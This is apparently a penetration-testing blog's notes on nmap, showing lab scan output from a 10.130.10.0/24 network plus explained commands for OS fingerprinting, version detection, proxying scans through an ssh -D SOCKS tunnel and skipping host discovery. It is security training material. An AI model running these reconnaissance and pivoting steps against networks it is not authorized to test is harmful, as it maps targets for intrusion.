sec@slingshot:~$ sudo nmap -n -sT 10.130.10.0/24 -oA /tmp/scan
 
Starting Nmap 7.60 ( https://nmap.org ) at 2022-03-15 14:25 UTC
Nmap scan report for 10.130.10.4
Host is up (0.030s latency).
Not shown: 988 filtered ports
PORT     STATE SERVICE
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
3389/tcp open  ms-wbt-server
 
Nmap scan report for 10.130.10.5
Host is up (0.030s latency).
Not shown: 997 filtered ports
PORT     STATE SERVICE
80/tcp   open  http
445/tcp  open  microsoft-ds
3389/tcp open  ms-wbt-server
 
Nmap scan report for 10.130.10.6
Host is up (0.030s latency).
Not shown: 997 filtered ports
PORT     STATE SERVICE
80/tcp   open  http
445/tcp  open  microsoft-ds
3389/tcp open  ms-wbt-server
 
Nmap scan report for 10.130.10.10
Host is up (0.029s latency).
Not shown: 996 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
23/tcp   open  telnet
80/tcp   open  http
9100/tcp open  jetdirect
 
Nmap scan report for 10.130.10.11
Host is up (0.028s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
9100/tcp open  jetdirect
 
Nmap scan report for 10.130.10.21
Host is up (0.029s latency).
Not shown: 998 filtered ports
PORT     STATE SERVICE
445/tcp  open  microsoft-ds
3389/tcp open  ms-wbt-server
 
Nmap scan report for 10.130.10.22
Host is up (0.026s latency).
Not shown: 998 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
9100/tcp open  jetdirect
 
Nmap scan report for 10.130.10.25
Host is up (0.030s latency).
Not shown: 978 filtered ports
PORT     STATE SERVICE
25/tcp   open  smtp
80/tcp   open  http
81/tcp   open  hosts2-ns
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
443/tcp  open  https
444/tcp  open  snpp
445/tcp  open  microsoft-ds
465/tcp  open  smtps
587/tcp  open  submission
593/tcp  open  http-rpc-epmap
808/tcp  open  ccproxy-http
1801/tcp open  msmq
2103/tcp open  zephyr-clt
2105/tcp open  eklogin
2107/tcp open  msmq-mgmt
2525/tcp open  ms-v-worlds
3389/tcp open  ms-wbt-server
6001/tcp open  X11:1
6502/tcp open  netop-rc
6565/tcp open  unknown
6646/tcp open  unknown
 
Nmap scan report for 10.130.10.33
Host is up (0.029s latency).
Not shown: 997 filtered ports
PORT     STATE SERVICE
445/tcp  open  microsoft-ds
1433/tcp open  ms-sql-s
3389/tcp open  ms-wbt-server
 
Nmap scan report for 10.130.10.44
Host is up (0.031s latency).
Not shown: 996 filtered ports
PORT     STATE SERVICE
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3389/tcp open  ms-wbt-server
 
Nmap scan report for 10.130.10.45
Host is up (0.030s latency).
Not shown: 998 filtered ports
PORT     STATE SERVICE
445/tcp  open  microsoft-ds
3389/tcp open  ms-wbt-server
 
Nmap done: 256 IP addresses (11 hosts up) scanned in 26.57 seconds
 sudo nmap -n -O -sT –open x.x.x.x-x

This will do a scan without resolving names, OS fingerprinting, a full-connect TCP scan, and only display open ports.

sec@slingshot:~$ ping -c2 10.130.10.10
PING 10.130.10.10 (10.130.10.10) 56(84) bytes of data.
64 bytes from 10.130.10.10: icmp_seq=1 ttl=63 time=26.8 ms
64 bytes from 10.130.10.10: icmp_seq=2 ttl=63 time=26.9 ms
 
--- 10.130.10.10 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 26.868/26.889/26.910/0.021 ms
sec560@slingshot:~$ sudo nmap -n -O -sT --open 10.130.10.21-22
 
Starting Nmap 7.60 ( https://nmap.org ) at 2022-03-15 16:19 UTC
Nmap scan report for 10.130.10.21
Host is up (0.030s latency).
Not shown: 998 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE
445/tcp  open  microsoft-ds
3389/tcp open  ms-wbt-server
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: specialized
Running (JUST GUESSING): AVtech embedded (87%)
Aggressive OS guesses: AVtech Room Alert 26W environmental monitor (87%)
No exact OS matches for host (test conditions non-ideal).
 
Nmap scan report for 10.130.10.22
Host is up (0.030s latency).
Not shown: 998 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
9100/tcp open  jetdirect
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.60%E=4%D=3/15%OT=22%CT=1%CU=38811%PV=Y%DS=2%DC=I%G=Y%TM=6230BC9
OS:7%P=x86_64-pc-linux-gnu)SEQ(SP=FD%GCD=1%ISR=10E%TI=Z%CI=Z%TS=A)SEQ(SP=FD
OS:%GCD=1%ISR=10E%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M54DST11NW7%O2=M54DST11NW7%O3=
OS:M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7%O6=M54DST11)WIN(W1=F4B3%W2=F4
OS:B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3)ECN(R=Y%DF=Y%T=40%W=F507%O=M54DNNSNW7
OS:%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=
OS:Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%
OS:RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T
OS:=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=
OS:S)
 
Network Distance: 2 hops
 
OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 2 IP addresses (2 hosts up) scanned in 19.22 seconds
 sudo nmap -n -sT -sV –open x.x.x.x-x

This scan will not resolve host names, perform a TCP full-connect, connect to services and perform version scanning (using /usr/share/nmap/nmap-service-probes), and only show open ports.

sec@slingshot:~$ sudo nmap -n -sT -sV --open 10.130.10.21-22
 
Starting Nmap 7.60 ( https://nmap.org ) at 2022-03-15 16:44 UTC
Nmap scan report for 10.130.10.21
Host is up (0.032s latency).
Not shown: 998 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE       VERSION
445/tcp  open  microsoft-ds?
3389/tcp open  ms-wbt-server Microsoft Terminal Services
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
 
Nmap scan report for 10.130.10.22
Host is up (0.032s latency).
Not shown: 998 closed ports
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
9100/tcp open  jetdirect?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
 
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 2 IP addresses (2 hosts up) scanned in 16.19 seconds
 nmap –proxy socks4://127.0.0.1:4444 x.x.x.x

This is how you route nmap traffic through a dynamic proxy, like the kind you can create with ssh -D.

 nmap -Pn <ip>

The -Pn option will skip the host discovery portion of the scan. This is useful if a firewall is filtering ICMP packets like the Windows firewall does by default.

Additional Details

  • When not running as root, nmap does a full TCP connect.
  • /usr/share/nmap/nmap-service-probes
    • where nmap stores service version identification checks
  • /usr/share/nmap/scripts/script.db
    • index of all the local NSE scripts
    • can grep for specific scripts
  • /usr/share/nmap/nmap-services
    • nmap’s personal /etc/services

Blog Posts